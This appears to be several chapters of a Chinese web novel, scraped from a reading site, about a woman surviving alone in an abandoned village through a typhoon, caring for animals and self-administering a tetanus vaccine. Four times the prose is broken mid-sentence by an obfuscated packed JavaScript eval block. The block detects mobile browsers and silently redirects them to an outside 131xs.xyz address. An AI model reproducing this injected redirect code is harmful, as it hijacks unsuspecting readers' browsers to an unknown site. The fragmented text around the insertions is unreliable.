风栖默默点起蜡烛,怕风吹熄了,用玻璃灯笼罩着,发了一会儿呆后,打开摆在床尾的琴盒,颤颤巍巍锯木头(不是)拉二胡。 这样大的风,让她没来由回忆起从前。 小伙伴们给她起外号叫紫娃,因为她的名谐音七,一开始还叫她小七,看过葫芦娃以后,她就变成了紫娃。然后不管什么排行都把她放最后一位。 风栖忍不了了,回家叉着腰到处问是谁给她起的名字,爸爸外出没回来,妈妈看电视懒得理她。奶奶听到后笑个不停,让她去找爷爷。爷爷正在锯木头,准备给她做个小板凳,听到投诉,抱起她颠了颠,告诉她,这名字确实是他起的,寓意为风栖息之处,风栖之地,也是心灵归处,是个很有灵性的名字。 从那以后风栖就精神了,再有人叫她紫娃,她只会怜悯孤高地摇摇头,轻叹一声,评价这人灵性不够,有眼不识泰山。 长大后,风栖才渐渐明白爷爷骨子里的诗意与浪漫。这个名字又寄托了爷爷多少隐藏的爱意。 收殓遗物时,她发现爷爷从前写的诗,被奶奶装订成了诗集,放在一个旧旧的铝制饭盒里。 “我携整个春天的地址, 询问信件的归宿 …… 誓言回到温存的归处, 像季风栖于山谷, 山谷以怀抱的弧度, 接住漂泊的全部……” 风栖轻轻地念出声,嘶哑难听的二胡音不知不觉停下。 这一刻,她忽然隐约明白了当年爷爷的心境。 最后她还是睡着了,不得不说风雨交加的夜晚,睡着就是比平时更香,第二天醒来,天还是阴的,分不清时间,风栖看看钟,已经十一点了。 雨还没停,有愈发猛烈的趋势。风栖换好衣服,做好了防护,先给猫猫狗狗和鸡鸭们铲屎、喂饭,摘了手套围裙洗得干干净净后,才去厨房翻找。 家里没有储存多少新鲜蔬菜,天气热,没有冰箱放不久,加上院子里一直种着菜,风栖就不怎么去考虑储藏问题。所以现在厨房比银行卡都干净。 风栖穿了雨衣雨靴,戴好洗碗用的塑胶手套,下楼穿过大堂,赶开在脚边捣乱的猫狗们,去菜地里看了看。 她不怎么打理菜地,隔一阵子施施肥,看野草多了就拔掉,有时把鸡鸭们抱过来几只,让它们捉虫。平常不下雨,她都是去村里其他菜地摘菜,自家的留着。 一眼看过去,菜地里长势还不错,加了水珠特效后绿油油一片,显得格外青翠。 风栖蹲在泥泞菜地里,才发现几片菜地的菜叶都被啃上密密的虫眼。 院子里养着猫狗,她便一直没打农药。平常偶尔摘菜也没见到虫啊?这些洞哪儿来的? 算了,长虫了也好啊,高质量蛋白质,纯天然无污染。 风栖铲了两根萝卜,拔了棵包菜和一把葱、十几个小米椒,又跑去库房里挑了鸡蛋出来。 原本只打算做两个小菜,想起储藏室屯了不少面粉,就决定煎几个饼试试。 其实她一年到头也做不了几次面食,不过秉承着“说不定会用上”的念头,米粉面粉都拿了不少。 站在货架前,风栖犯了难。 拿的时候没注意,怎么这面粉还有这么多种类?高筋中筋低筋全筋,还有个什么无筋? 不都是面粉吗?怎么还分个高低上下了?你们面粉能不能团结一点!又不是在读书,分什么低年级高年级。 风栖仔细地挨个看说明书,最后谨慎地选择了低筋面粉。 按着教程视频,几个鸡蛋打散搅匀,边搅边倒面粉,萝卜、包菜、辣椒都切碎拌进去,鸡蛋液变得浓稠。 风栖闻了闻,感觉有点腥,又切了点姜末拌进去。 是不是有点多了? 好像还行,不管了,继续继续。 风栖搅和着盆中面糊,加水、加盐,估摸着差不多了,小炉子的火也生起来了,架上小平底锅,热油,油滋滋响后,舀一勺稀面糊倒进去,端着锅缓慢转手,直到面糊匀满整个锅底。 油香裹着蛋香暖融融热乎乎地窜出来,和柴火气交缠在一起。锅里鸡蛋饼轻微噼啪作响,锅下小炉子里的细柴也发出细微噼啪声。 不知什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869377|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,蛋黄过来了,围在炉子边摇尾巴。 “你不能吃,只能闻一闻。”风栖打掉伸向盘子的爪爪,自己先迫不及待揭了一张,呼哧呼哧吹凉几口就往嘴里塞。 尽管风栖自认为没什么创伤,这一刻还是被狠狠治愈了,美滋滋地继续烙饼。 风栖一开始摊饼摊得很开心,渐渐感觉不对劲。 是不是哪一步估错了? 这面糊怎么这么多? 饼越堆越高,最后摊出了整整三十七张鸡蛋饼。 笑容逐渐呆滞…… 风栖坐在高高的饼堆旁边,无语凝噎。 就算鸡蛋饼很薄,三十多张也不是小数目。 算了,还挺好吃的,留着当零食也行,又没规定非得一餐吃完。风栖理直气壮地想。 单吃饼也没什么意思,风栖又去切了几片火腿、卤肉、火腿肠,再去菜地里摘了点黄瓜生菜胡萝卜,洗洗刷刷挨个煎好摆盘。再用小米椒青辣椒红辣椒剁碎,加孜然五香粉酱油,调了一碗超级辣辣酱。 夹点肉菜裹进饼里,再刷点酱,包起来啊呜一口吃掉。 一顿午饭吃到了下午五点,吃完饭后就是休息看书。放以前当社畜那些年根本不敢想。 风栖摇着扇子,感慨。 虽然我得到了自由快乐,但我失去了工作和劳累啊! 好悲伤,再吃口西瓜压压惊。 第二天雨还是没停,小了点。 风栖照旧起床后,下去先喂鸡鸭,再回到自家一楼喂猫狗。 但…… 一只猫死了。 倒在门口,一动不动,散发出腥甜怪异的香气。 即便戴了口罩,那股气味也不断往鼻腔里钻。 好在铲屎时风栖都会戴着手套,她没有马上动,而是又拆了包塑胶手套穿上,慢慢把那只猫装好。 是只三花猫,毛色已经暗淡了,嘴边吐了一大堆黄水。 风栖说不出自己是什么心情,她不断告诉自己,散养的猫狗,又一直吃生食,寿命短很正常。她本就不是真的把这些猫狗当宠物,她只是把野生猫狗圈在了家里而已。 最后风栖还是找了个空地,把猫埋了,以免它被其他什么动物吃掉。 回去后,她又把猫狗们分开,先赶到邻居家,一楼好好清洗消毒一遍后再让它们回来。 少了一只猫,对猫狗大军影响不大,一眼看过去毛绒绒们还是扎堆聚在一起,有打有闹。 风栖看了眼,没有抱任何一只,上楼休息。 17.第 17 章 隔天,风栖抱回来了三只小野猫。 多日大雨终于退去,路面涨水,两边道路都淹了,泥浆在阳光下蒸腾,上面漂着草茎断枝,风还是湿润的,带着土腥味与草木气息。 风栖裹得严严实实,长袖长裤乳胶手套,外面套一层上下拆分的厚雨衣,戴着头盔,厚筒雨靴踩在泥水里,深一脚浅一脚地往前走,溅起的泥点子飞得老高。 她是去喂牛的。 牛被她散养在离家三百米的人家里。大雨初期她还能冒雨去喂草,后面雨实在太大,站在楼顶可以看到村里本来干涸的小河都涨水了。她就不敢出门了。 没见影视剧里冒大雨出门,都没什么好下场吗?不是和爸爸要不到钱就是被抄家哭着求情罚跪,或者脚一滑掉进河里从此毁容失忆开启一代虐恋人生。 打住打住,别想了,还是继续割草吧。 独自生活两个多月,风栖也认识了些植物,剔掉不能吃的杂草,甩干水拧一拧,再扯得松一些,丢进身后的背篓。 上一次投喂剩下的草料大概只够吃四五天的。现在都过去一星期了,想到这,风栖就试图加快脚步,还是越走越慢。 本来穿着这身装备就累,还背了个大背篓,提着斧子镰刀,一路走一路割草。草越来越多,再怎么拧干还是沾着水,背篓越来越沉,跟她的汗一起一路淅淅沥沥往下淋。 不过一里路,风栖跟蒸了个桑拿似的,到了目的地也不敢摘头盔,只敢借着玻璃面罩又被呼出的气糊了层白雾的时机打起面罩,面部终于得以暴露在外。风栖舒服地抽张手帕擦擦汗,环顾四周。 小院外树木杂草被吹得乱七八糟,左手边积了个大水坑。一条小蛇从坑里爬出来,蹿一下钻进树枝堆里。 看着不像毒蛇,风栖就没管,小心地走近些。 这户被她用来养牛的人家虽然也是砖瓦围墙,墙面却不高,门也是普通的两扇外开小铁门。如今一扇门被吹倒,嵌在泥地里,另一扇摇摇欲坠地沾着门框,随着风吹发出一阵阵艰涩吱呀响,铜绿小门上头还贴了褪色的门神。 风栖进了院子,不必清点便发现牛少了一只。 拉过缰绳观察,缰绳的断口啃得不成样子。 看起来是自己跑的,还是头倔牛。 风栖回忆了一下,没想起来那头跑掉的牛是什么样,是公是母也记不清了。 不过她本来就不需要那么多牛,跑了也无所谓。她特地放在这间破旧小屋,就是让牛们如果想跑随时可以跑掉。只跑了一只还让她有点惊讶来着。 其他几头牛安安静静地在牛棚里,有一头探头吃伸过矮院墙的绿叶。风栖把筐里的草料野果子倒进食槽里,这些牛又慢腾腾过来,低头啃食。 风栖就是在这时发现小野猫的。 牛棚外,屋檐下,一窝湿哒哒、毛绒绒,小小一团卧在母猫身体下,发出嫩嫩的可怜的叫声。 母猫已经死了。风栖戴了手套也不敢碰,捡了根树杈,小心地把它挑开。 母猫还没硬,身子还是软的,掉了下去,连带着一只叼着它□□的小猫也掉下去。风栖戳了戳,那只小猫也死了,一动不动。 风栖把一窝小猫戳了戳。一共五只,有两只没气了。 她还没考虑好怎么对待这三只小猫,干脆先走开两步,挨个摸摸牛头。牛不愧是人类的好友,那么根细绳子拴着也不生气,只是温驯地看着她,慢吞吞低下头去吃草料。 风栖试着又摸了几下,牛也没反抗,而且摸着好像被雨水冲刷的很干净的样子,骑牛的心蠢蠢欲动。 算了,万一被踹一脚,铁扇公主来了都救不了她。 风栖不得不忍痛打消这个诱人的念头。 又转了转,剩下三只小猫孤苦伶仃地喵喵叫,叫得她心都软了,凑近了些细看,有一只眼睛都还没睁开,嘴巴倒是张得老大。 风栖不知这几只小猫多大了,细细短短一层绒毛,瞧着就出生不算太久的样子。 没有猫妈妈保护的、还没学会走路的小猫,在野外基本活不下去。 有人饲养也未必能活下去。 特别是饲养者不是什么负责任的好心人。 风栖最终还是把它们带回了家。 用那间老房子衣柜中不知谁的旧棉袄,镰刀割开里子,掏出旧棉花,把三只小猫包起来放在背篓里。 三只还没她拳头大的圆圆的小脑袋在背后一直微弱地叫,哪怕不懂猫语,风栖都能听出它们饿了,不由得加快了脚步。 家里有奶粉和羊奶粉,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15876834|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是风栖忧患意识达到顶峰时备下的,尽管她根本不喝冲泡类的粉状物,不过站在超市货架前,她总会想:来都来了,万一呢?说不定用得上呢? 如今还真用上了。 到家后,风栖把脱下的雨衣头盔都放在屋檐下的衣架上晾干,里面那层衣服早就湿透了。她顾不上许多,手套和雨靴倒是没脱下,上楼拆了一小包羊奶粉拿下来,从背篓里捧出三只小猫冲进厨房。 小猫身上都是湿的,风栖抽了个干毛巾重新裹着它们,放在灶台上,蹲下去拉过小茶炉点火烧水。因为猫太小了,风栖就没有用煤,而是点着细柴和麦秆,举了扇子把黑烟往外扇。 烧的水不多,是以水很快就开始冒泡。风栖也不必等水开再晾凉,估摸着差不多了,奶粉倒进碗里,水壶缓缓注入,一根筷子边倒边搅。 冲了一碗,风栖拿筷子尖在那只还没睁眼的小猫嘴里沾了沾。小猫粉嫩嫩的嘴动了动,叫的更急迫。 风栖换了浅底的盘子,把三只细骨伶仃瘦巴巴的小猫抓来,脑袋对着盘子里。 小猫伸着脖子很努力的舔盘,小舌头舔啊舔,呱唧呱唧响。 风栖莫名其妙就看了很久,看羊奶快喝完了就又掺点水继续搅和两下,把沉积在底部的奶粉搅上来。 她托腮又看了会儿,开始搜索。 当搜出这个年纪的小猫一天要喂差不多十次时,风栖隐隐有些后悔。 我自己每天喝水都不够十次!你们这几只小猫怎么敢的啊? 可是都已经带回来了,这时候再扔掉……风栖苦恼挠头,她真不喜欢干这种类似渣男一样的活计。 “算了。”风栖冷酷无情地对三只小猫说,“羊奶管够,但你们要学会自己按时吃饭,懂不懂?” 三只小猫声音嫩嫩的喵来喵去,风栖挨个提着后颈放到小火炉旁,边烘烤边把它们挨个擦干。三只猫喝了奶,精神许多,被提溜起来都关到个笼子里。 笼子底下垫了棉花,另一侧摆个草木灰猫砂碗。 风栖重新烧水,泡了一大碗羊奶,算了量,足够这仨小猫咪喝一整天了。 点着一只小猫的鼻子,教育:“撒娇也没用,自己学会喝奶,懂吗?这么大的人,不是,这么大的猫了,还用我来教?” 18.第 18 章 继上回捡到三只小奶猫后,风栖又陆陆续续捡回来几只猫,连同小狗、野兔什么的捡了不少。院里的毛绒大军陡然新增不少童子军。 一场大暴雨不知让多少小生命失去家园。幸好风栖是个大大的好人,愿意收留。 其实还有些不认识的动物,一搜发现挺珍贵,是珍稀物种。不过到了这份上,也谈不上珍稀不珍稀了——人自个儿都难保,还能顾得上珍惜它们? 但出于习惯和从小到大的教育,风栖没敢捡回去。她又不是打算当宠物养,要么留着有用,要么当储备粮。再说,她深信一点:以国人能把任何食材琢磨出花来的本事,那些没上过大众餐桌的动植物,一律视为不好吃就对了。 风栖是绝对不会承认自己抓不到的。 这场暴雨夺走了不少动物的生命。有的淹死,有的淋透后病死,还有的死于积水带来的病菌。那几天出门“捡漏”,就算口罩头盔捂得严实,风栖也能闻到若有若无的腐臭味。天一热,气味更浓,很像动物园里的味道。 在村中四处查探,发现各处还挺符合“查寝规范”——菜地里没菜,果园里没果子,树上没叶子,有些房子也差不多,房顶没了瓦,墙上没了窗。 风栖还注意到,村口通往国道那条路的电线杆倒了。不知是被雷劈的还是被风刮的,七零八落歪在泥水里。原本紧绷的电线乱糟糟地崩断,缠在树上、墙边,断口处裸露出金属丝。断开的电线杆不远处倒了一头鹿,风栖猜测可能是触碰到了高压电。 风栖没敢凑近。竖着的电线杆下本就不安全,更别提倒塌的,万一走过去触电就糟了。她只远远地拿着望远镜四处观察,就看到了这景象。 暴风雨过后,村里村外、远处山头,倒下的树都不少。这让风栖忍不住怀疑,如果自己当时还在野外,把腿扎进土里,会不会也被拦腰吹断? 呸呸呸!不吉利不吉利,住脑! 风栖把这场暴风雨写进了日记,推测很可能是台风造成的。老家所在的乡镇离海边不算太远,台风虽不常见,倒也不是完全没影的事。一年里总有个几次受台风外围影响,算算日子,也差不多到了。 她画了好几幅简笔画给日记配图:树木东倒西歪,无人居住的房屋倒塌,菜地、果园一片狼藉。 依照这个破坏力,对比风力等级,目测这次大风得有十一级左右。 暴风雨刚过,没两天又是酷暑。七月底八月初的日子,雨水和阳光一样多。老天爷简直像在模仿她那蹩脚的厨艺:汤多了就猛火收汁,烧焦了就加水补救,最后煲得一锅汤淡而无味。 到这时,风栖就不怎么出门了。只有必要出行时,才全副武装,挑清晨或黄昏出发。 只有这两个时间段不会让她被晒死,其他时间,风栖宁愿瘫着。 正午,窗外不知哪来的蝉叫得欢,风栖蔫蔫地躺在地板上,双目无神,喃喃自语。 “没有空调~没有冰箱~我是一棵无人知道的小↗↘草……” “曾经有一个空调站在我面前,我没有珍惜,如果能有一次重新再来的机会,我会对空调说,我爱你……” “小时候……妈妈对我讲,大冰箱,就是我故乡……” 风栖就地滚到一边抱住大冬瓜,抚摸着它冰凉的身躯,风栖诗兴大发,涕泗横流。 嘤,感谢古人的智慧!用冬瓜解暑真是天才的点子!太管用了。只要把冬瓜洗干净,它就是个大个的、香香的、冰冰凉凉的解暑神器。 其实风栖还想过做竹夫人,以前她就爱看点手工视频,某段时间复古国风火了,各种非遗技艺古法技巧视频满天飞。风栖也爱看,由此知道了竹夫人——一种中空的竹条编制的圆柱形器具,据说抱在怀里可以自然通风,起到很好的降温作用。 风栖就想过回老家时砍点竹子自己做一个,她喜欢编东西,这玩意儿看起来也不难。但是她每次回老家都做不成,因为她爸不同意。 那片竹林不是他们家的,风栖父母和他们关系还行,竹子也不是什么珍贵东西,长得很快,基本上每年那户人家都要送出去很多竹子,或者叫人来砍。 风栖也不知道为什么,自己父亲就是不愿意开口,也不准她去要,嫌丢人。她说可以花钱买,她爸就更生气,反对得更厉害。 有一次她都把竹子买回来了一根,扛在肩膀上拖回来了,在院里劈成十几条削短了晾一晚,她还想着第二天买点砂纸给竹片磨一磨。结果第二天醒来堆在院子里的竹子就没了,全都塞进了炉灶里。 想不通的事风栖就不想了,通通归结于有时候父母只是想反对你,仅此而已。 不过那件事后,风栖也没再执着过,到现在也懒了,提不起劲来,好像那股劲儿随着竹片一起被烧成了灰。 怀里抱着冰凉凉沉甸甸的大冬瓜,听着蝉鸣,风栖昏昏欲睡。 唔,好想喝冬瓜汤… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882583|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 晚饭,风栖就切了一圈冬瓜打汤,喝得很快乐。 到该吃饭的时候就有点痛苦了。 素菜还好,南瓜、青菜、土豆,这三样是怎么都吃不腻的,随便做都很好吃。 风栖本来也不是那么爱吃肉,但不是完全不爱吃,可两个多月来,除了早期吃了几天新鲜肉,后面就只有鱼、火腿,或者罐头肉,午餐肉。越是吃不到就越想吃,本来只有三四分馋,靠着回忆又添成七八分,梦里都在流口水。 第二天,风栖毅然决然冲进邻家院子,拎了一只小公鸡出来。 没杀过鸡…… 风栖拿菜刀架在鸡脖子上,手都在抖。鸡声嘶力竭拼命挣扎,风栖一个没抓住叫它跑了,赶紧先冲上前关上院子门,不让它跑出去,之后才坐在鸡舍前,认真反思。 杀鱼都能做到,怎么杀鸡不行? 风栖重新抓住那只鸡,一手钳住扑腾的翅膀,另一手握菜刀重新架上,磨蹭了一会儿,咬牙割开口子…… 四个多小时后—— 风栖吃着麻辣鲜香的大鸡腿,方才的不忍、愧疚、不适通通化作食欲。 真香! 凡事迈过第一步,就没那么难了嘛。 一只鸡两天就吃完了,鸡肉和内脏剁碎了加辣椒小炒,鸡骨头水煮了奖励给蛋黄,因为它早上左脚先迈进门。鸡毛被风栖用开水烫过洗了洗,准备日后自己扎个鸡毛掸子。 过几日,风栖又馋了,想吃肉。站在鸡舍前顿了顿,痛苦地穿上行头,拐道去鱼塘捞鱼。 杀鸡是简单,但经常杀鸡的朋友都知道,杀鸡容易处理难。放血、烫皮、褪毛、拔毛一系列工作简直不是人干的,那天她用镊子挑了半个多小时的毛茬,眼睛都要花了。 和鸡比起来,鱼是多么省心的一种食材啊! 风栖喝着鱼汤,无语凝噎,此刻倒宁愿自己真是个茹毛饮血的野人,就不用考虑那么多。 至于兔子……在生下小兔子前,风栖都不会把这部分储备粮转正。 下午,风栖顶着大太阳在果树林附近挖了个陷阱,用来抓鸟。 果树林此时长出了一堆绿苗苗,由于风栖实在分不清野草和果苗,所以没采取任何措施。等树苗长大点就行。 巡视一圈后,回到坑边,坑挖的不算深,风栖撒了一堆玉米粒和稻谷粒,还有剁碎的蚯蚓。细竹条架好箩筐斜撑在坑边,只待猎物上钩。 19.第 19 章 古有人守株待兔,今有人守筐待鸟。 几只风栖不认识品种的鸟飞下来,颜色不一,蹦蹦哒哒跳到筐下。它们尚未发现危机来临,埋头吃得快活,有些要争吃还差点打起来,扇了翅膀互啄。 风栖一直窝在树底下,暗中观察,头盔外面罩了层树叶,看起来很像在埋伏打鬼子,眼睛一眨不眨地盯着竹筐。 找准时间,绳子一拉,竹筐扣下去,除开两只鸟儿受惊地扑棱翅膀迅疾逃走,剩下几只可没那么好运,被严严实实扣在竹筐下。竹筐被扑腾地在地面抖啊抖,但不管里面的鸟儿怎么飞都掀不起来。 “好耶!”风栖高兴地和蛋黄击掌。 正在抓虫子的蛋黄被莫名其妙捏住爪子击掌,风栖又嫌蛋黄爪印脏兮兮地黏在自己手上,在衣服上拍掉土,把准备好的木板拿出来,小心地给竹筐掀起一点点缝隙把木板慢慢推进去,再托着木板将竹筐翻过来。 怕鸟飞跑,木板上赶紧再压实了,绳子拴几圈固定住。 拎着一笼子鸟,风栖高兴地比笼子里的鸟还想飞。 这么多天一直吃鱼,吃的都要吐了,偏偏家里的鸡没几只,再怎么馋还是得留着下蛋。 几只野兔子如今也还没新增小生命,风栖暗戳戳怀疑过兔子性别,但奈何双兔伴地走,实在难分雌雄,她也就没怎么在意,每天弄点青菜叶子一点水养着。 再有,风栖不会也不太敢做兔子肉。以前倒是很喜欢吃麻辣兔头,但爱吃是一回事,一只看起来可怜无辜的兔子摆在面前能不能下得去手又是一回事。 风栖自己反正是暂时没法下手,她以前帮朋友养过兔子,就更下不去手了。拎着兔子看半天,最后还是放了它们一马。但风栖毕竟不是专门放马的,她还是很想吃肉,要新鲜的肉。 又吃了几天鱼后,风栖学会了最简单的陷阱布置。 这会儿真捉到了鸟,风栖别提多高兴。 “蛋黄!大黑!看我多厉害!” 两条狗不懂,汪汪叫两声。 风栖没在意,兀自傻乐。 大概是乐极生悲,回去的路上,风栖一脚踩在块扎了铁钉的木板上。 她懵了一下,其实还没反应过来,还要往前走,抬脚时,钉子扎着脚底把木板连带掀起一点。拉扯的瞬间,迟来的剧痛才猛的从脚底传到四肢百骸。 “我靠——” 风栖眼泪都飚出来了,强忍着咬牙没哭出声,哆哆嗦嗦蹲下来,摸索到身边没有别的钉子了,才慢慢坐在地上,忍着疼痛抓住木板边缘,顺着钉子的方向一点点往外拔。 那是根笔直的生锈铁钉,锈迹斑斑,尖头沾着血和一点皮屑。 “你潜伏在此,真是给了朕好大一个惊喜。” 风栖疼的龇牙咧嘴,低头看自己的右脚。厚胶雨靴底被扎出的洞回缩成一个小小的孔,不仔细看甚至看不出来。孔边也沾了一点点血,还有一点锈粉。 先回家。 回家找点药,要赶紧消毒,不能得破伤风了。 风栖深吸口气,试着迈步,只要忍住痛,还是能走的。她挪着步子一点点往前,找了附近一棵树,砍下根粗树枝当拐杖。 她努力不去想自己的脚变成了什么样,脚趾忍不住蠕动几下,感觉袜子已经被浸透了。 “蛋黄,狗子们,陛下遇刺,起驾回京!” 蛋黄可能感知到了什么,围着她呜呜汪汪叫转圈。风栖在狗头上轻轻揉了揉,以示安慰,一瘸一拐回到了家。 顾不得箩筐里的鸟,先放在院子里木板压好,匆匆忙忙去一楼储藏室拿药。 好在当初搜刮了不少药品,治疗外伤、消毒、感冒发烧拉肚子一类的药囤得最多,酒精更是按斤论。 雨靴脱下,袜子被血浸透了,脱下很痛,清水洗一遍露出伤口,小小一点,看着很深,一刻不停地往外渗血。 风栖咬着牙拿棉球浸湿生理盐水,慢慢擦掉口子上的锈迹,又涂上碘伏,再涂上红霉素软膏。无菌纱布覆上去,绷带缠了几圈,结结实实打个蝴蝶结,再动了动。 还好,应该没有戳到重要的血管和筋什么的,还能走动。 风栖处理完伤口,发了会儿呆,还是爬起来,到二楼仓库里又找了双雨靴,又穿上,慢腾腾下楼开车出发。 脚还是疼,踩刹车油门都疼。风栖忍疼没说话,忍着痛开车,穿过重重密林,去了县人民医院。 远远便看到医院招牌,巨大的红十字标志在阳光下显得有些褪色。汽车驶近后,能清楚地看见上面爬满的藤蔓与尘灰。曾经人声鼎沸、充满消毒水和焦虑气息的地方,如今只剩下死寂。 门口东倒西歪停着各式摩托车共享自行车等,斜对面是几家寿衣铺子。 门口的升降杆呈放下的状态,出于对医院的微妙心理,风栖没有像对待其他场所大门一样直接暴力突破,在门口停下了,牵着蛋黄拄了拐杖一瘸一拐走进去。 穿过广场,步入大堂,一股混合着尘埃、陈旧的消毒水味、还有一丝不易察觉的霉变味道扑面而来。 大厅里光线昏暗,只有几缕阳光透过蒙尘的玻璃门投射入内,形成一片浑浊的光幕。导诊台上放了一摞纸,可能是病人病历?因为灰太多了,风栖没有拿起来看。 电脑屏幕漆黑一片,挂号窗口后面空无一人,只有散落的病历本和处方笺。一排排冰冷的金属候诊椅整齐地排列着,上面落满了灰,仿佛从未有人坐过。 风栖默默打开手机播放国歌,试图驱散心头那点因环境带来的阴森感。寂静在这里被无限放大,她和蛋黄的脚步声、呼吸声甚至心跳声都显得格外清晰,在空旷的大厅里激起微弱的回音。 左转急诊室,右转是药房,药房分通道两侧,一侧是西药房一侧是中药房。风栖推开急诊室门,里面只有空荡荡几张病床。一张病床床头还架了吊瓶,吊瓶里剩一半药水。桌上上散落着一些棉签、胶布,甚至还有一支扎在玻璃药瓶里的注射器。 风栖都能想象到,事情发生的瞬间,急诊室里的护士正在抽药水救治病人。 她心里微微抽痛一下。 曾经这里上演过多少生死时速,如今只剩下绝对的沉寂。一种难以言喻的物伤其类的感觉,第一次如此清晰地击中了她。不是悲伤,更像是一种确认—— 真的……只剩下我了…… 不要去想,不要细想! 风栖深吸口气,竭力拉回思绪,考虑该从哪儿拿到破伤风疫苗。 普通急诊药房里是没有的,像这类疫苗需要冷藏保存,应该在冷藏室,又不会离急诊室得太远。风栖一间间找过去,长长走廊越往里走越黑,不得不打开手电筒一间间看,简直像自己以前见过的废弃医院探险直播。 事到如今,风栖一点都不怕了。不管走廊里藏着鬼还是人,都是她异父异母的亲兄弟。 终于,在走廊深处找到一间看上去像是治疗室的房间,房里有一扇厚重小门。 “……生物制品冷藏室……”拿棉签擦掉门上标签厚重的灰,一字字念出来。 应该就是这里了。 风栖去拉门把手,纹丝不动!锁住了!而且看起来是电子密码锁,早就没电了,屏幕一片漆黑。 这扇门还十分厚重,敲了敲,金属冰冷厚重质感,消防斧和自己带的斧子都不像能轻易劈开的样子。 风栖说不上心里什么感受,可能有几分绝望,被她强压下去。 她不想白跑一趟,更不想死。 一斧子砍在门合页上,没砍准,砍中门身,落下个浅浅的凹印。风栖不管不顾继续砍,只要能留点印子,就说明这门不是坚不可摧。 斧子卷刃了也不在乎,等斧子没用了,她又去走廊的消防栓箱里拿消防斧继续砍。最后,门合页终于被她砍断,大门轰然弹开,冷气混合着消毒水的味道扑面而来。 谢天谢地,虽然医院也没电了,但冷藏库的备用电池似乎撑了挺久,里面温度相较室外低了不少,拂去了风栖额头不知是因为痛还是累冒出的汗水。 医用冰箱、冰柜挺立着,风栖拿了手电筒一个个找过去,终是在其中一个外边看到“疫苗”标签。 风栖心狂跳着,打开冰柜门,里面从上到下一排排整齐码放了各类药品。随便找了几个看,生僻的学名让她看不懂,但末尾都标了“疫苗”两个字。 风栖激动起来,一个个看过去。 “……破伤风,破伤风……” “找到了!” 仔细查看生产日期与保质期,没有过期。风栖如获至宝,拿了好几支疫苗,不忘把冰柜门关上,一瘸一拐往外走。 自己家里没冰箱,疫苗就别带了,温度一高就用不上了。 风栖竭力忘掉那些自己本可以带走的物资,屯屯鼠属性发作的时候眼看着物资却不带走实在难受。她重新找了一大堆急救用品,回到虽然有些昏暗但有光存在的大堂。 搜了一下,破伤风疫苗通常采用肌肉注射,成年人及青少年首选上臂三角肌。 风栖摸着自己的膀子,按照以前打针的流程,消毒酒精擦上去,再擦一层碘伏,犹豫了会儿,拆开一双一次性手套戴上,又倒了酒精两只手搓一搓,这才拆开疫苗包装。 真好,是一支预充式注射器,不需要自己抽药。风栖握着冰凉的玻璃管,反复回忆着以前打针的流程。 拔掉针帽,闪着寒光的针尖让她头皮微微发麻。 风栖从小不怕痛不怕喝药,是个令人省心的乖孩子,得病了去医院从来都不需要哄。但这不代表她不痛,不痛和不怕痛是两回事。 “扎一下而已。”风栖往上轻推活塞,让药水从针头小孔微微往外溢出一点。她记得护士都是这么做的,她还问过,说这不会浪费吗?护士告诉她这是为了不打进空气。 涂了酒精的那块皮肤更凉了,风栖抿抿嘴唇,不断安慰自己,忽然明白过来,自己不是怕痛,而是怕扎错。 谁知道会不会扎到什么穴位?万一瘫了呢? 风栖用个别扭的姿势扭过手臂,找到被碘伏涂上深色的那块皮肤上一块小小的、不足指甲盖大的小坑。 这是小时候打疫苗留下的,具体打的什么疫苗也忘了,反正家里的兄弟姐妹手臂上都有这个小坑。 风栖左手持针,右手肌肉慢慢放松,针尖垂直对准先孔,手腕稳定快速地一送。 她确信自己扎得够深了,肯定刺进了肌肉里,左手慢慢推动注射器活塞,盯着药液一点点推入体内。 稳稳推完所有的药剂,再和刚才一样迅速地抽出针头,棉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894937|172690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签压住针眼,松了口气。 直到现在,风栖才发现自己刚才居然全程屏住了呼吸。 